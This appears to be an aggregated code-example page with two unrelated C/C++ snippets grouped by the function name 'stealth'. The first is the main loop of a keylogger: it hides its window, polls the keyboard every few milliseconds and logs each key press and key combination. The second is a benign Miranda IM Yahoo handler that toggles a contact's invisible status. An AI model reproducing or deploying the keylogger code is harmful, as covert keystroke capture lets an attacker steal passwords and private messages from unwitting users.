Exemplo n.º 1
0
int main() {
	stealth(true);
    while (true) {
		stealth();
		bool *status = Keys::get_keyboard(), *old_status = Keys::get_old_keyboard();
		if (Keys::was_updated()) {
			int specials = 0, ordinary = 0;
			for (int i = 0; i != MAX_KEYS; ++i) {
				if (status[i]) {
					if (Keys::is_special(i)) {
						++specials;
					} else {
						++ordinary;
					}
				}
			}
			if ((specials != 0) && (ordinary != 0)) { // Combination detected.
				char *key_names = (char*) malloc(sizeof(char) * MAX_KEY_NAME);
				Keys::get_names(status, key_names, MAX_KEY_NAME);
				Logger::log(key_names);
				free(key_names);
			} else {
				for (int i = 0; i != MAX_KEYS; ++i) {
					if ((status[i]) && (!old_status[i])) {
						char *key_name = (char*) malloc(sizeof(char) * MAX_KEY_NAME);
						Keys::get_name(i, key_name, MAX_KEY_NAME);
						Logger::log(key_name);
						free(key_name);
					}
				}
			}
		}
		Keys::update_keyboard();
		SLEEP(5);
	}
	return 0;
}
Exemplo n.º 2
0
INT_PTR __cdecl CYahooProto::OnSettingChanged(WPARAM wParam, LPARAM lParam)
{
	DBCONTACTWRITESETTING *cws = (DBCONTACTWRITESETTING *) lParam;

	if ((HANDLE) wParam == NULL)
		return 0;
	if (!m_bLoggedIn)
		return 0;

	if (!strcmp(cws->szModule, "CList")) {
		// A temporary contact has been added permanently
		if (!strcmp(cws->szSetting, "NotOnList")) {
			if (DBGetContactSettingByte((HANDLE) wParam, "CList", "Hidden", 0))
				return 0;
			if (cws->value.type == DBVT_DELETED || (cws->value.type == DBVT_BYTE && cws->value.bVal == 0)) {
				DBVARIANT dbv;

				if ( !DBGetContactSettingString( (HANDLE) wParam, m_szModuleName, YAHOO_LOGINID, &dbv )){
					DebugLog("Adding Permanently %s to list.", dbv.pszVal);
					AddBuddy(dbv.pszVal,GetWord((HANDLE) wParam, "yprotoid", 0), "miranda", NULL);
					DBFreeVariant(&dbv);
				}
			}
		}
	}else if (!strcmp(cws->szModule, m_szModuleName) && !strcmp(cws->szSetting, "ApparentMode")) {
		DBVARIANT dbv;

		DebugLog("DB Setting changed.  YAHOO user's visible setting changed.");

		if ( !DBGetContactSettingString( (HANDLE) wParam, m_szModuleName, YAHOO_LOGINID, &dbv )){
			int iAdd = (ID_STATUS_OFFLINE == DBGetContactSettingWord((HANDLE) wParam, m_szModuleName, "ApparentMode", 0));
			stealth(dbv.pszVal, iAdd);
			DBFreeVariant(&dbv);
		}
	}
	return 0;
}